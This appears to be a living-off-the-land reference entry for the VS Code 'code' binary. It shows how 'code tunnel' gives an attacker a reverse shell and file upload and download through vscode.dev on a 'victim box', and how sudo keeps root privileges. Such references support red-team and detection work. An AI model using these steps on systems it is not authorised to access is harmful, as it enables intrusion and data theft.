code

Reverse shell

This executable can send back a reverse system shell to a listening attacker.

Comment
This requires a valid GitHub account.
Run the command locally, then on the attacker box navigate to https://github.com/login/device, using the provided code to authorize the tunnel.
Unprivileged
This function can be performed by any unprivileged user.
```
code tunnel --name xxxxxx
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
code tunnel --name xxxxxx
```
Listener
Navigate to https://vscode.dev/tunnel/xxxxxx where a remote VS Code instance can be used to spawn a system shell on the victim box.
From the menu, select “View” -> “Terminal”.

Upload

This executable can upload local data.

Comment
This requires a valid GitHub account.
Run the command locally, then on the attacker box navigate to https://github.com/login/device, using the provided code to authorize the tunnel.
Unprivileged
This function can be performed by any unprivileged user.
```
code tunnel --name xxxxxx
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
code tunnel --name xxxxxx
```
Receiver
Navigate to https://vscode.dev/tunnel/xxxxxx where a remote VS Code instance can be used to download files from the victim box.
From the menu, select “File” -> “Open Folder…”, right-click on the explorer pane, then select Download…" to download a file.
Alternatively it’s possible to just display files.

Download

This executable can download remote data.

Comment
This requires a valid GitHub account.
Run the command locally, then on the attacker box navigate to https://github.com/login/device, using the provided code to authorize the tunnel.
Unprivileged
This function can be performed by any unprivileged user.
```
code tunnel --name xxxxxx
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
code tunnel --name xxxxxx
```
Sender
Navigate to https://vscode.dev/tunnel/xxxxxx where a remote VS Code instance can be used to upload files to the victim box.
From the menu, select “File” -> “Open Folder…”, right-click on the explorer pane, then select “Upload…” to pick a file to send.
Alternatively it’s possible to just create and edit files.